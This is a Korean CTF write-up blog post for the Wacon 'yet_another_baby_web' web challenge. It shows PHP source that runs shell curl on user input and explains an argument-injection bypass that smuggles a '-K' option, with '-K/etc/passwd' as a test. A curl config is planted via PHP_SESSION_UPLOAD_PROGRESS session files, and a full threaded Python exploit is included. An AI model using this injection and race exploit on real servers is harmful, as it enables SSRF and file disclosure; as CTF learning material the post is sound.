Notice
Recent Posts
Recent Comments
Link
«   2024/10   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

ash3r & dmawhwhd

Wacon - yet_another_baby_web 본문

CTF/web

Wacon - yet_another_baby_web

ash3r & dmawhwhd 2022. 6. 28. 23:18
<?php
session_start();
if (!isset($_POST["url"])) {
    highlight_file(__FILE__);
}

function uuid()
{
    $chars = md5(uniqid(mt_rand(), true));
    $uuid = substr($chars, 0, 8) . '-'
        . substr($chars, 8, 4) . '-'
        . substr($chars, 12, 4) . '-'
        . substr($chars, 16, 4) . '-'
        . substr($chars, 20, 12);
    return $uuid;
}

function Check($url)
{
    $blacklist = "/\}|\{|\[|\]|\:|f|g|[\x01-\x1f]|[\x7f-\xff]|['\"]/i";

    if (is_string($url)
        && strlen($url) < 4096
        && !preg_match($blacklist, $url)) {
        return true;
    }
    return false;
}

if (!isset($_SESSION["uuid"])) {
    $_SESSION["uuid"] = uuid();
}

echo $_SESSION["uuid"]."</br>";

if (Check($_POST["url"])) {
    $url = escapeshellarg($_POST["url"]);
    $cmd = "/usr/bin/curl ${url} --output - -m 3 --connect-timeout 3";
    echo "your command: " . $cmd . "</br>";
    $res = shell_exec($cmd);
} else {
    die("error~");
}

if (strpos($res, $_SESSION["uuid"]) !== false) {
    echo $res;
} else {
    echo "you cannot get the result~";
}
 

서버 코드인데 curl 요청을 보내줍니다. 하지만 libcurl이 아닌 linux curl을 사용합니다. 이 부분에서 조금 이상하다 생각이 들었는데, linux curl 에서는 url 요청에서 [], {}등을 사용할 수가 있었습니다. 

근데 생각해보니 필터링이 걸려있어 다른 방법을 통해 풀어야했습니다. 그래서 찾은 option이 -K option입니다. 

config file -K option은 test해본 결과 curl "-K/etc/passwd"와 같이 ""안에 사용할 수 있어 이 문제에서 사용할 수 있다고 생각했습니다. 그러면 file upload를 해야하는데 이는 PHP_UPLOAD_PROGRESS를 통해 업로드 할 수 있었습니다. PHP_UPLOAD_PROGRESS는 세션파일을 upload할 수 있는 기능입니다. 파일이 생성되는 경로는 /var/lib/php/sessions/sess_~~로 저장되기에 원하는 config file을 업로드할 수 있었습니다. 하지만 session파일은 serialize되어 업로드 되고 다른 data들도 들어있기에 실패할 줄 알았지만 curl이 이해할 수 있는 config만 이해를 해서 \n\nurl=www.google.com\n\n을 하면 제대로 해석되어 요청을 보내게 됩니다. 그래서 저는 \n\nurl=flag:31337\n\n을 통해 flag container에 접근하여 flag를 받아오려했습니다. 하지만 uuid가 curl result에 포함되어야 하기에 \n\nurl={flag:31337, uuid}를 통해 uuid에 요청을 보내어 result에 포함시켰습니다.

 

import requests
from threading import Thread
import time

url = "http://114.203.209.112:8000/index.phtml?fun_004ded7246=load"
#proxies = {"http":"http://127.0.0.1:8080"}

def init():
    url = 'http://110.10.147.146:8000'
    res = requests.get(url)
    sess = res.headers['Set-Cookie'].split(';')[0]
    uuid = res.text.split('</code>')[1].split("</br>")[0]
    return sess, uuid

def exploit(uuid):
    url = 'http://110.10.147.146:8000'
    headers = {'Cookie': 'PHPSESSID=payload', "Connection":"close"}
    data = {'PHP_SESSION_UPLOAD_PROGRESS': '\n\nurl="{flag:31337,%s}"\n\n'%uuid}
    pay = open("admin","rb")
    while True:
        res = requests.post(url, headers=headers, files={'f':pay}, data=data)
    pay.close()

def ssrf(sess):
    url = 'http://110.10.147.146:8000'
    headers = {'Cookie': sess, "Connection":"close"}
    data = {'url':'-K/var/lib/php/sessions/sess_payload'}
    while True:
        res = requests.post(url, headers=headers, data=data)
        print res.text
        if("WACon" in res.text):
           break


if __name__ == "__main__":
    sess, uuid = init()
    t1 = Thread(target=exploit, args=(uuid,))
    t1.start()
    t2 = Thread(target=ssrf, args=(sess,))
    t2.start()

thread를 나눈 이유는 curl 요청에서 세션 파일을 읽어와야하는데 이는 uuid로 세션 파일이 계속 설정되기에 계속 요청을 보내어 타이밍이 맞는 순간 제가 원하는 요청을 보내게 하기 위해서 이렇게 payload를 작성했습니다.

 

flag: WACon{1s_this_w3b_0r_m1sc_IDK}

'CTF > web' 카테고리의 다른 글

Wacon - ppower  (0) 2022.07.05
Wacon - sqqqli  (0) 2022.06.28
Wacon - Kuncɛlan  (0) 2022.06.28